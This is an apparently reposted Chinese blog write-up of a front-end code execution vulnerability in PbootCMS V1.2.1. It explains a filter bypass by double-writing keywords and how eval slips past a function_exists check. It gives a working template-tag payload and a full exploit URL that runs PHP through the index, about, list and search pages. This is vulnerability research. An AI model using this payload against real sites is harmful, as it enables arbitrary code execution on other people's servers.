基于tp3开发的cms-前台代码执行

 

 

 

内核 thinkphp

PbootCMS-V1.2.1

├─ apps         应用程序

│  ├─ admin     后台模块

│  ├─ api       api模块

│  ├─ common    公共模块

│  ├─ home      前台模块

├─ config       配置文件

│  ├─ config.php    配置文件

│  ├─ database.php  数据库配置文件

│  ├─ route.php     用户自定义路由规则

├─ core         框架核心

│  ├─ function  框架公共函数库

│  │  ├─ handle.php 助手函数库1

│  │  ├─ helper.php 助手函数库2

├─ template     html模板

├─ admin.php    管理端入口文件

├─ api.php      api入口文件

├─ index.php    前端入口文件

 

 

找到外部访问的点  进行 $_GET   $_POST  $_COOKIE  进行数据检测

 

在core/function 框架公共函数库   我handle.php 助手1 和 helper.php 助手2

会把所有接收的字符串进行处理,将过滤的函数替换为空

这里用双写就可以绕过

Updatexml  updaupdatexmltexml

 

 

 

 

 

 

代码执行

 

 

通过敏感函数定位,到这里

 

需要绕过的地方

 

 

 

这里会把 if 标签内的函数 执行位置 判断是否为函数

如果是的话,就为危险 退出,不执行eval

 

绕过的方法,是function_exists  为 false

 

 eval 是一种语言结构,不是函数

 

 

 

所以在 function_exists 的时候 返回false  进行了绕过。

 

触发流程

 

 

{poot:if(php code)}{/poot:if}

 

触发该标签即可

php code  要以eval(xxx) 这样来执行

因为判断了 $matches2[1] 这个位置

 

執行parserIfLabel  parserAfter

 

 

 跑了parserAfter 的地方,比如 Index 這裏

 

 

 

 我在後台做一個測試

 

 

 

 

保存,在主頁  直接访问主页测试,可以触发

 

 

 

這是閉合后的

{pboot:if(eval($_REQUEST[1]));//)})}}{/pboot:if}

 

 

 

没有闭合前

 

 

$pattern = '/\{pboot:if\(([^}]+)\)\}([\s\S]*?)\{\/pboot:if\}/';

主要还是配合 正则匹配的规则 然后进行多余的代码闭合 最后可以任意执行代码

{pboot:if(eval($_REQUEST[1]));//)}}{/pboot:if}

 

代码执行

除了这index之外   about、 list 、search  几处都可以

那么如何前台利用 ~

payload idnex 处   其他几处利用方法相同 

view-source:http://127.0.0.1/pt1.2/index.php/index?echod={pboot:if(eval($_REQUEST[1]));//)})}}{/pboot:if}&1=phpinfo();

  

 

{pboot:if(eval($_REQUEST[1]));//)})}}{/pboot:if} 可以看到在源码这一块输出 是没有这个标签的,因为标签的代入,进行了解析,从而执行了代码。

 

转载于:https://www.cnblogs.com/0xdd/p/10848602.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值